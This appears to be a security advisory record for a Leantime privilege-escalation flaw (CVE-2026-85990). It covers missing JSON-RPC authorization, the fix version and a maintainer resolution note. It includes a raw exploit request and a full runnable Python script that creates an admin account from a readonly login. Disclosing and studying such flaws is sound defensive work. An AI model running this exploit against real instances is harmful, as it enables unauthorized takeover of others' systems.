{"id":"CVE-2026-85990","aliases":["GHSA-54mm-6729-r5wp"],"url":"https://o3.security/vulnerability/CVE-2026-85990","summary":"Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods","details":"### Summary\n\nAny authenticated Leantime user - including the lowest-privilege `readonly` role - can escalate to full administrative access by calling the JSON-RPC method `leantime.rpc.api.api.createApiKeyWithProjects` with an attacker-chosen `role` value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the `Plugins` service's `installPlugin`, `enablePlugin`, `disablePlugin`, and `removePlugin` methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.\n\n### Details\n\nLeantime's JSON-RPC API (`app/Domain/Api/Controllers/Jsonrpc.php`) reflects any public method on any `@api`-annotated service class and dispatches it at `leantime.rpc.{domain}.{service}.{method}`. Per-method authorization is enforced by `PermissionEnforcer::enforce()` (`app/Core/Auth/Permissions/PermissionEnforcer.php`), which reads a `#[RequiresPermission(...)]` PHP attribute off the target method - but when that attribute is **absent**, `enforce()` silently returns and allows the call through.\n\n`Api::createApiKeyWithProjects(array $values, ?array $projects)` (`app/Domain/Api/Services/Api.php`) is `@api`-exposed and carries no `#[RequiresPermission]` attribute. It forwards `$values` - including a caller-supplied `role` - directly into `createAPIKey()` → `Users\\Repositories\\Users::addUser()`, with no server-side clamping of `role` against the calling user's own privilege level:\n\n```php\n// app/Domain/Api/Services/Api.php\n/**\n * @api\n */\npublic function createApiKeyWithProjects(array $values, ?array $projects): array|false\n{\n    $apiKeyValues = $this->createAPIKey($values);   // no #[RequiresPermission], no role check\n    ...\n}\n```\n\nThe equivalent web route (`NewApiKey` controller) correctly gates account creation behind an admin-only role check (`Auth::authOrRedirect([Roles::$admin, ...])`), but that gate is bypassed entirely by calling the service directly through JSON-RPC.\n\nSeparately, `Plugins::installPlugin()`, `enablePlugin()`, `disablePlugin()`, and `removePlugin()` (`app/Domain/Plugins/Services/Plugins.php`, lines ~266/299/320/342) share the same gap: all four are `@api`-exposed with no `#[RequiresPermission]`, while their web-controller equivalents (`Myapps.php`, `Details.php`) correctly require `Roles::$owner`/`Roles::$admin`.\n\nAuthenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an `X-Requested-With: XMLHttpRequest` header (`app/Core/Middleware/StartSession.php`) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.\n\n### PoC\n\nA runnable Python PoC (`requests` library only) reproduces this end-to-end; see the attached `poc.py`. Steps:\n\n1. Create/authenticate as a `readonly`-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. `/plugins/myapps`.\n2. From that same low-privilege session, send:\n   ```\n   POST /api/jsonrpc\n   Content-Type: application/json\n   X-Requested-With: XMLHttpRequest\n\n   {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"leantime.rpc.api.api.createApiKeyWithProjects\",\n    \"params\":{\"values\":{\"firstname\":\"poc\",\"role\":40,\"status\":\"a\"},\"projects\":[]}}\n   ```\n   The server responds `HTTP 200` with the newly created account's `user`/`passwordClean` and `\"role\":40` (admin) in the JSON body.\n3. Log in through the normal `/auth/login` form using the returned `user`/`passwordClean`. The resulting session now has full, interactive access to `/plugins/myapps` (HTTP 200) - the exact page that returned 403 in step 1.\n\nReproduced against a local instance built from this repository's own `.dev` Docker tooling (`.dev/docker-compose.yaml`), with dependencies installed via `composer install` / `npx mix` and no modifications to application code.\n\n### Impact\n\nComplete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege `readonly` role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.\n\nScript : poc.py\n```python\n#!/usr/bin/env python3\n\"\"\"\nWhat this script does, against a target Leantime instance:\n  1. Logs in as a LOW-PRIVILEGE account (readonly role by default).\n  2. Confirms the account is correctly blocked by the normal web UI from an\n     admin-only page (expects HTTP 403) -- this establishes the account truly\n     has no admin rights before the exploit runs.\n  3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using\n     nothing but that account's own ordinary session cookie, requesting\n     role=40 (admin). No admin/API-key credential is used anywhere in this\n     step -- only the low-privilege session established in step 1.\n  4. Logs in through the completely ordinary web login form using the\n     generated username/password from step 3, and confirms that account now\n     has full, interactive admin access to the same admin-only page that\n     blocked the original low-privilege account in step 2. (The record is\n     created with source='' rather than source='api' -- createAPIKey() never\n     sets that column -- so it does NOT work as an x-api-key credential, but\n     it is a fully functional role=40 web login, which is a stronger and\n     more direct proof of impact.)\n\nRequirements: pip install requests\n\nUsage:\n  python3 poc.py --url http://localhost:5080 \\\\\n      --username lowpriv@leantime.test --password 'LowPriv123!'\n\"\"\"\n\nimport argparse\nimport sys\n\nimport requests\n\n\ndef rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):\n    \"\"\"Call a JSON-RPC method. Sends X-Requested-With so the session-based\n    guard actually loads the caller's real, persisted session (see\n    StartSession.php:65) -- without it, API requests get a fresh, empty,\n    in-memory session and every call 401s regardless of login state.\"\"\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"X-Requested-With\": \"XMLHttpRequest\",\n    }\n    if extra_headers:\n        headers.update(extra_headers)\n\n    resp = session.post(\n        f\"{base_url}/api/jsonrpc\",\n        json={\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": method, \"params\": params},\n        headers=headers,\n    )\n    return resp\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument(\"--url\", required=True, help=\"Base URL of the target Leantime instance, e.g. http://localhost:5080\")\n    parser.add_argument(\"--username\", required=True, help=\"Email of a LOW-privilege test account (e.g. readonly role)\")\n    parser.add_argument(\"--password\", required=True, help=\"Password for that account\")\n    parser.add_argument(\"--admin-check-path\", default=\"/plugins/myapps\", help=\"An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)\")\n    parser.add_argument(\"--insecure\", action=\"store_true\", help=\"Disable TLS verification (for self-signed local/dev instances)\")\n    args = parser.parse_args()\n\n    verify = not args.insecure\n    base_url = args.url.rstrip(\"/\")\n    s = requests.Session()\n    s.verify = verify\n\n    print(f\"[*] Target: {base_url}\")\n\n    # Step 1: log in as the low-privilege account via the ordinary web form.\n    print(f\"[*] Logging in as low-privilege account: {args.username}\")\n    s.get(f\"{base_url}/auth/login\")  # prime session cookie\n    login_resp = s.post(\n        f\"{base_url}/auth/login\",\n        data={\n            \"username\": args.username,\n            \"password\": args.password,\n            \"redirectUrl\": \"/dashboard/home\",  # avoid the unrelated empty-redirectUrl 500 bug\n        },\n        allow_redirects=False,\n    )\n    if login_resp.status_code not in (302, 303):\n        print(f\"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.\")\n        sys.exit(1)\n    print(\"[+] Login succeeded (session cookie established).\")\n\n    # Step 2: confirm the account genuinely has no admin rights via the web UI.\n    check_resp = s.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n    if check_resp.status_code == 403:\n        print(f\"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).\")\n    else:\n        print(f\"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. \"\n              f\"Continuing anyway, but this account may not be low-privilege as assumed.\")\n\n    # Step 3: the actual privilege escalation -- same session, no API key used.\n    print(\"[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) \"\n          \"using ONLY the low-privilege session from step 1 ...\")\n    esc_resp = rpc_call(\n        s,\n        base_url,\n        \"leantime.rpc.api.api.createApiKeyWithProjects\",\n        {\"values\": {\"firstname\": \"poc-escalated-admin-key\", \"role\": 40, \"status\": \"a\"}, \"projects\": []},\n    )\n\n    try:\n        esc_json = esc_resp.json()\n    except ValueError:\n        print(f\"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}\")\n        sys.exit(1)\n\n    if \"error\" in esc_json:\n        print(f\"[!] Exploit call failed: {esc_json['error']}\")\n        print(\"    (If this is 'Method is not available via API' or an AuthorizationException, \"\n              \"the target may already be patched.)\")\n        sys.exit(1)\n\n    result = esc_json[\"result\"]\n    new_user = result[\"user\"]\n    new_pass = result[\"passwordClean\"]\n    new_role = result[\"role\"]\n    new_id = result[\"id\"]\n    api_key = f\"lt_{new_user}_{new_pass}\"\n\n    print(\"[+] VULNERABLE: server created a new account with attacker-chosen role, \"\n          \"with no permission check on the calling (low-privilege) account.\")\n    print(f\"    New account id={new_id}  role={new_role} (40 == admin)\")\n    print(f\"    Generated credentials -- username: {new_user}  password: {new_pass}\")\n    print(f\"    (Nominal API key form: {api_key} -- see note below.)\")\n\n    # Step 4: prove the new account carries real, interactive admin privilege\n    # by logging in through the ORDINARY web login form and hitting the same\n    # admin-only page that blocked the original low-privilege account.\n    print(\"[*] Logging in through the normal web UI with the generated credentials ...\")\n    admin_session = requests.Session()\n    admin_session.verify = verify\n    admin_session.get(f\"{base_url}/auth/login\")\n    admin_login_resp = admin_session.post(\n        f\"{base_url}/auth/login\",\n        data={\"username\": new_user, \"password\": new_pass, \"redirectUrl\": \"/dashboard/home\"},\n        allow_redirects=False,\n    )\n    if admin_login_resp.status_code not in (302, 303):\n        print(f\"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).\")\n        sys.exit(1)\n\n    admin_check_resp = admin_session.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n    if admin_check_resp.status_code == 200:\n        print(f\"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, \"\n              f\"interactive admin access to {args.admin_check_path} (HTTP 200) -- \"\n              f\"the exact page that returned 403 for the original account in step 2.\")\n    else:\n        print(f\"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, \"\n              f\"got {admin_check_resp.status_code}.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n---\n\n**Maintainer note (resolution):** Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.","published":"2026-10-13T16:15:09.529Z","modified":"2026-10-21T03:00:31.616646727Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"leantime/leantime","fixedVersion":"3.10.0"}],"fix":{"url":"https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02","label":"Leantime/leantime@5605e5e"},"references":[{"type":"WEB","url":"https://github.com/Leantime/leantime/releases/tag/v3.10.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85990.json"},{"type":"ADVISORY","url":"https://github.com/Leantime/leantime/security/advisories/GHSA-54mm-6729-r5wp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85990"},{"type":"FIX","url":"https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02"},{"type":"FIX","url":"https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e"},{"type":"FIX","url":"https://github.com/Leantime/leantime/pull/3583"},{"type":"FIX","url":"https://github.com/Leantime/leantime/pull/3797"},{"type":"PACKAGE","url":"https://github.com/Leantime/leantime"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T03:00:31.616646727Z"}}